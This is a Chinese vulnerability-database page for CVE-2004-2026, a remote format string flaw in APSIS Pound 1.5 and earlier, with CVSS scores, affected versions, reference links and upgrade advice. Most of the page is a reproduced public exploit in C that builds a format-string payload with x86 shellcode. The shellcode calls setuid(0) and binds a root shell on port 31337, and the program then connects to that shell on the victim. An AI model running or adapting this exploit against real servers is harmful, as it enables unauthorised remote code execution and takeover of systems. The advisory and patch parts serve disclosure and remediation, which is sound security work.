CVE-2004-2026
CVSS7.5
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 16:43:00
NMCOE    

[原文]Format string vulnerability in the logmsg function in svc.c for Pound 1.5 and earlier allows remote attackers to execute arbitrary code via format string specifiers in syslog messages.


[CNNVD]APSIS Pound远程格式字符串漏洞(CNNVD-200412-435)

        Pound 1.5及之前版本的svc.c中的logmsg函数存在格式字符串漏洞。远程攻击者可以借助系统记录消息中的格式字符串说明符执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:apsis:pound:1.2
cpe:/a:apsis:pound:1.5
cpe:/a:apsis:pound:1.1
cpe:/a:apsis:pound:1.0
cpe:/a:apsis:pound:1.3
cpe:/a:apsis:pound:1.4

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2026
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2026
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-435
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/10267
(PATCH)  BID  10267
http://security.gentoo.org/glsa/glsa-200405-08.xml
(PATCH)  GENTOO  GLSA-200405-08
http://secunia.com/advisories/11528
(PATCH)  SECUNIA  11528
http://xforce.iss.net/xforce/xfdb/16033
(UNKNOWN)  XF  pound-logmsg-format-string(16033)
http://www.osvdb.org/5746
(UNKNOWN)  OSVDB  5746
http://www.apsis.ch/pound/pound_list/archive/2003/2003-12/1070234315000#1070234315000
(UNKNOWN)  CONFIRM  http://www.apsis.ch/pound/pound_list/archive/2003/2003-12/1070234315000#1070234315000
http://securitytracker.com/id?1010034
(UNKNOWN)  SECTRACK  1010034
http://archives.neohapsis.com/archives/fulldisclosure/2004-05/0343.html
(UNKNOWN)  FULLDISC  20040507 Pound <=1.5 Remote Exploit (Format string bug)

- 漏洞信息

APSIS Pound远程格式字符串漏洞
高危 格式化字符串
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        Pound 1.5及之前版本的svc.c中的logmsg函数存在格式字符串漏洞。远程攻击者可以借助系统记录消息中的格式字符串说明符执行任意代码。

- 公告与补丁

        The vendor has released an upgrade to address this issue:
        Gentoo Linux has released an advisory (GLSA 200405-08) that addresses this issue. Please see the referenced advisory for further information. It is advised that administrators execute as superuser to update Pound:
         emerge sync
         emerge -pv ">=net-www/pound-1.6"
         emerge ">=net-www/pound-1.6"
        APSIS Pound 1.5
        

- 漏洞信息 (24079)

APSIS Pound 1.5 Remote Format String Vulnerability (EDBID:24079)
linux remote
2004-05-03 Verified
0 Nilanjan De
N/A [点击下载]
source: http://www.securityfocus.com/bid/10267/info

APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers. 

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected software, which would occur in the security context of the server process.

/*
	Pound <=1.5 remote format string exploit (public version)
	by
	Nilanjan De - n2n@front.ru
	Eye on Security Research Group, India, http://www.eos-india.net
			
	Vendor URL: http://www.apsis.ch/pound/
	
	Local exploit is only useful is pound is setuid
	The shellcode used doesn't break chroot
	if you need to break chroot, use a different shellcode
	
	To find jmpslot:
	For remote:
		objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
	for local:
		objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
		
	Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
	char *arch;
	unsigned long jmpslot;
	unsigned long ret;
	unsigned int align;
	unsigned int  offset;
 	type_t	type;
} targets[]=
	{
		{"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
		{"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
		{NULL,0x00,0x00,0,0,0}
	};
	
/*
 x86 linux fork+portbind shellcode(port 31337)
*/
 
char shellcode[]=
	/* sys_fork() */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x02"                      // movb         $0x2,%al
	"\xcd\x80"                      // int          $0x80
	"\x38\xc3"                      // cmpl         %ebx,%eax
	"\x74\x05"                      // je           0x5
	/* sys_exit() */
	"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
	"\xcd\x80"                      // int          $0x80
	/* setuid(0) */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x17"                      // movb         $0x17,%al
	"\xcd\x80"                      // int          $0x80
	/* socket() */
	"\x31\xc0"                      // xorl    %eax,%eax
	"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
	"\x40"                          // incl    %eax
	"\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
	"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
	"\x40"                          // incl    %eax
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
	"\xb0\x66"                      // movb    $0x66,%al
	"\xcd\x80"                      // int     $0x80
	"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
		  "\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
        "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
        "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
        "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* listen() */
        "\x40"                          // incl    %eax
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x43"                          // incl    %ebx
        "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* accept() */
        "\x43"                          // incl    %ebx
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "\x31\xc9"                      // xorl    %ecx,%ecx
        "\xb0\x3f"                      // movb    $0x3f,%al
        "\xcd\x80"                      // int     $0x80
        "\x41"                          // incl    %ecx
        "\x80\xf9\x03"                  // cmpb    $0x3,%cl
        "\x75\xf6"                      // jne     -0xa
 
        /* execve() */
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x52"                          // pushl   %edx
        "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
        "\x89\xe3"                      // movl    %esp,%ebx
        "\x52"                          // pushl   %edx
        "\x53"                          // pushl   %ebx
        "\x89\xe1"                      // movl    %esp,%ecx
        "\xb0\x0b"                      // movb    $0xb,%al
        "\xcd\x80";                     // int     $0x80

int
connect_to(char *host, unsigned int port)
{
	struct hostent *h;
	struct sockaddr_in sin;
	int sock;
	
	if((h=gethostbyname(host))==NULL)
	{
		printf("- Error: Unable to resolve %s\n",host);		
		exit(EXIT_FAILURE);
	}
	printf("+ Resolved %s\n",host);
	sin.sin_addr=*((struct in_addr *)h->h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)port);
	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	{
		perror("socket");exit(EXIT_FAILURE);
	}	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
	{
		perror("connect");exit(EXIT_FAILURE);
	}
	printf("+ Connected\n");
	return sock;
}

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;
 
   strcpy(snd, COMMAND "\n");
   write(sockfd, snd, strlen(snd));
 
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
 
      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);
 
      if (FD_ISSET(fileno(stdin), &rset)) {
         bzero(snd, sizeof(snd));
         fgets(snd, sizeof(snd)-2, stdin);
         write(sockfd, snd, strlen(snd));
      }
                                                                                
      if (FD_ISSET(sockfd, &rset)) {
         bzero(rcv, sizeof(rcv));
                                                                                
         if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
            printf("+ Good Bye!\n");
            return 0;
         }
                                                                                
         if (n < 0) {
            perror("read");
            exit(EXIT_FAILURE);
         }
                                                                                
         fputs(rcv, stdout);
         fflush(stdout);
      }
   }
}
                                                                                

void
usage(char *progname)
{
	int i;
	printf("Usage: %s <type> [RemoteHost]\n",progname);
	printf("Available types:\n");
	for(i=0;targets[i].arch!=NULL;i++)
	{
		printf("\t%d\t-\t%s\n",i,targets[i].arch);	
	}
	exit(EXIT_FAILURE);
}
int
testifworked()
{

}
int main(int argc,char **argv)
{
	char *victim;
	int s;
	int i;
	int high,low;
	unsigned int port=PORT;
	struct target *t;
	char buf[BUFSIZE];
	if(argc<2) usage(argv[0]);
	i=atoi(argv[1]);
	if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
	{
		printf("- Invalid target type\n");
		exit(EXIT_FAILURE);
	}
	t=&targets[i];

	high=(t->ret & 0xffff0000) >> 16;
	low=(t->ret & 0x0000ffff);
	
	memset(buf,NOP,BUFSIZE-1);
	buf[BUFSIZE-1]=0;
	
	if(t->type==REMOTE)
	{
		if(argc<3) usage(argv[0]);
		victim=argv[2];
	}
							
	
	if(high>low)
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
	}
	else
	{
		*((unsigned long *)(buf+t->align))=t->jmpslot+2;
		*((unsigned long *)(buf+t->align+4))=t->jmpslot;
		high^=low^=high^=low;
	}
	buf[t->align+9]=0;
	
	if(t->type==REMOTE)
		low-=0x16+t->align;
	else
		low-=0x28+t->align;
	i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
	buf[t->align+9+i]=NOP;
	memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
	buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
	buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
	
	if(t->type==LOCAL)
	{	
		if(!fork())
		{
			execl(POUND,"pound","-f",buf,0);
			perror("exec");exit(EXIT_FAILURE);
		}
		victim=LOCALHOST;
	}
	else
	{
		printf("+ Connecting to victim\n");
		s=connect_to(victim,port);
		printf("+ Attach?");
		scanf("%c",&i);
		printf("+ Sending evil buffer\n");
		if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
		{
			perror("send");exit(EXIT_FAILURE);
		}
		close(s);
	}
	
	sleep(1);
	printf("+ Checking if exploit worked\n");
	s=connect_to(victim,31337);
	sh(s);
	exit(EXIT_SUCCESS);
}		

- 漏洞信息

5746
Pound svc.c logmsg Function Syslog Message Format String
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

A remote overflow exists in Apsis Pound. Pound fails to check the "logmsg()" function resulting in a format string overflow. With a specially crafted request, an attacker can execute arbitrary code resulting in a loss of integrity.

- 时间线

2004-05-03 Unknow
2004-05-08 Unknow

- 解决方案

Upgrade to version 1.6 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站